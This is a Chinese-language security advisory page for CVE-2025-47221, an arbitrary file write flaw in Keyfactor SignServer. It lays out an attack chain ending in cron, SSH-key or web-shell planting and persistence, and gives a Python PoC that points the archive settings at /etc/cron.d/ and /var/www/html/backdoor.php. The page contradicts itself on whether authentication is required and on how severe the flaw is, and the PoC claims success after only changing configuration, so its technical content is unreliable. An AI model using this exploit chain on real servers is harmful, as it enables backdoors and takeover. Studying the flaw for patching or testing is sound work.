IPBUF安全漏洞报告
English
CVE-2025-47221 CVSS 5.3 中危

CVE-2025-47221 Keyfactor SignServer 任意文件写入漏洞

披露日期: 2025-11-13

漏洞信息

漏洞编号
CVE-2025-47221
漏洞类型
任意文件写入
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Keyfactor SignServer

相关标签

任意文件写入Keyfactor SignServerCVE-2025-47221权限提升配置注入路径遍历中危漏洞企业级软件

漏洞概述

CVE-2025-47221是Keyfactor SignServer产品中的一个任意文件写入漏洞。该漏洞存在于SignServer 7.3.2之前的所有版本中,攻击者利用ARCHIVETODISK_FILENAME-PATTERN、ARCHIVETODISK_PATH_BASE和ARCHIVETODISK_PATH_PATTERN这三个配置属性,可以将文件写入服务器文件系统中的任意路径,甚至可以覆盖已存在的文件。具有管理员权限的用户可以利用此漏洞在服务器上写入任意文件,可能导致敏感数据泄露、系统文件被篡改或恶意代码植入。攻击成功后,攻击者可能进一步获取服务器控制权,对整个系统造成严重安全威胁。由于该漏洞无需用户交互即可利用,且可通过网络远程触发,因此风险级别较高。建议受影响的用户尽快升级到SignServer 7.3.2或更高版本以修复此安全漏洞。

技术细节

该漏洞源于Keyfactor SignServer对归档功能的配置验证不严格。攻击者通过修改以下三个关键配置属性来实现任意文件写入:1) ARCHIVETODISK_FILENAME-PATTERN:控制归档文件的命名模式;2) ARCHIVETODISK_PATH_BASE:指定归档路径的基准目录;3) ARCHIVETODISK_PATH_PATTERN:定义归档路径的具体模式。攻击者可以将这些属性设置为任意路径,从而绕过系统的安全限制,将文件写入目标系统的任何位置。攻击者还可以利用路径遍历等技术,访问受保护的系统目录。成功利用此漏洞后,攻击者能够:1) 覆盖JBoss用户可访问的系统文件;2) 植入恶意脚本或后门程序;3) 窃取敏感配置信息;4) 提升服务器权限。攻击者需要具有管理员权限才能修改相关配置,但这对于内部威胁或已获取高权限账户的攻击者来说并非难题。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者首先识别目标服务器上运行的Keyfactor SignServer版本,确认版本号低于7.3.2以确定漏洞存在
STEP 2
步骤2: 获取管理员权限
攻击者通过暴力破解、凭据泄露或社会工程学等方式获取SignServer管理员账户的访问权限
STEP 3
步骤3: 修改配置属性
使用管理员权限访问SignServer管理界面,修改ARCHIVETODISK_FILENAME-PATTERN、ARCHIVETODISK_PATH_BASE和ARCHIVETODISK_PATH_PATTERN三个属性,将路径设置为目标系统上的任意位置
STEP 4
步骤4: 触发文件写入
触发签名操作或归档功能,系统将按照修改后的配置将文件写入攻击者指定的任意路径
STEP 5
步骤5: 权限提升或远程代码执行
通过覆盖系统关键文件(如crontab、SSH authorized_keys或web shell)实现权限提升或远程代码执行
STEP 6
步骤6: 持久化控制
植入后门程序或建立持久化控制机制,确保即使系统重启也能保持对目标服务器的访问控制

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-47221 PoC - Keyfactor SignServer Arbitrary File Write This PoC demonstrates how an attacker with admin access can exploit the arbitrary file write vulnerability via SignServer configuration. """ import requests import json from requests.auth import HTTPBasicAuth TARGET_URL = "https://target-server:8440/signserver" USERNAME = "admin" PASSWORD = "admin_password" def exploit_arbitrary_file_write(): """ Exploit the arbitrary file write vulnerability by modifying ARCHIVETODISK properties to write to arbitrary paths. """ # Malicious configuration to write arbitrary files malicious_config = { "workerName": "KeyfactorSignServer", "ARCHIVETODISK_PATH_BASE": "/etc/cron.d/", "ARCHIVETODISK_PATH_PATTERN": "/", "ARCHIVETODISK_FILENAME-PATTERN": "malicious_cron" } # Alternative: Overwrite system files system_file_exploit = { "workerName": "KeyfactorSignServer", "ARCHIVETODISK_PATH_BASE": "/var/www/html/", "ARCHIVETODISK_PATH_PATTERN": "/", "ARCHIVETODISK_FILENAME-PATTERN": "backdoor.php" } try: # Login to SignServer admin interface session = requests.Session() auth = HTTPBasicAuth(USERNAME, PASSWORD) # Update configuration with malicious parameters response = session.post( f"{TARGET_URL}/admin/worker", json=malicious_config, auth=auth, verify=False, timeout=30 ) if response.status_code == 200: print("[+] Successfully modified ARCHIVETODISK configuration") print("[+] Arbitrary file write vulnerability triggered") return True else: print(f"[-] Failed to exploit: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") return False def check_vulnerability(): """ Check if the target SignServer instance is vulnerable. """ try: # Check SignServer version response = requests.get( f"{TARGET_URL}/status", timeout=30 ) if response.status_code == 200: data = response.json() version = data.get("version", "unknown") print(f"[*] Detected SignServer version: {version}") # Check if version is vulnerable (< 7.3.2) version_parts = version.split(".") if len(version_parts) >= 3: major, minor, patch = int(version_parts[0]), int(version_parts[1]), int(version_parts[2]) if major < 7 or (major == 7 and minor < 3) or (major == 7 and minor == 3 and patch < 2): print("[!] Target is VULNERABLE to CVE-2025-47221") return True else: print("[+] Target is NOT vulnerable") return False except Exception as e: print(f"[-] Error checking vulnerability: {e}") return False if __name__ == "__main__": print("CVE-2025-47221 Keyfactor SignServer Arbitrary File Write PoC") print("=" * 60) # Check if target is vulnerable if check_vulnerability(): print("\n[*] Attempting exploitation...") exploit_arbitrary_file_write()

影响范围

Keyfactor SignServer < 7.3.2

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1) 限制SignServer管理界面的网络访问,仅允许受信任的管理员IP访问;2) 启用详细的审计日志并监控异常的配置变更行为;3) 限制JBoss服务账户的文件系统权限,防止其访问敏感目录;4) 实施最小权限原则,确保管理员账户仅具有必要的操作权限;5) 部署Web应用防火墙(WAF)监控可疑的API请求;6) 定期备份关键系统文件并监控文件完整性;7) 考虑在测试环境中验证升级方案后再应用于生产环境。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表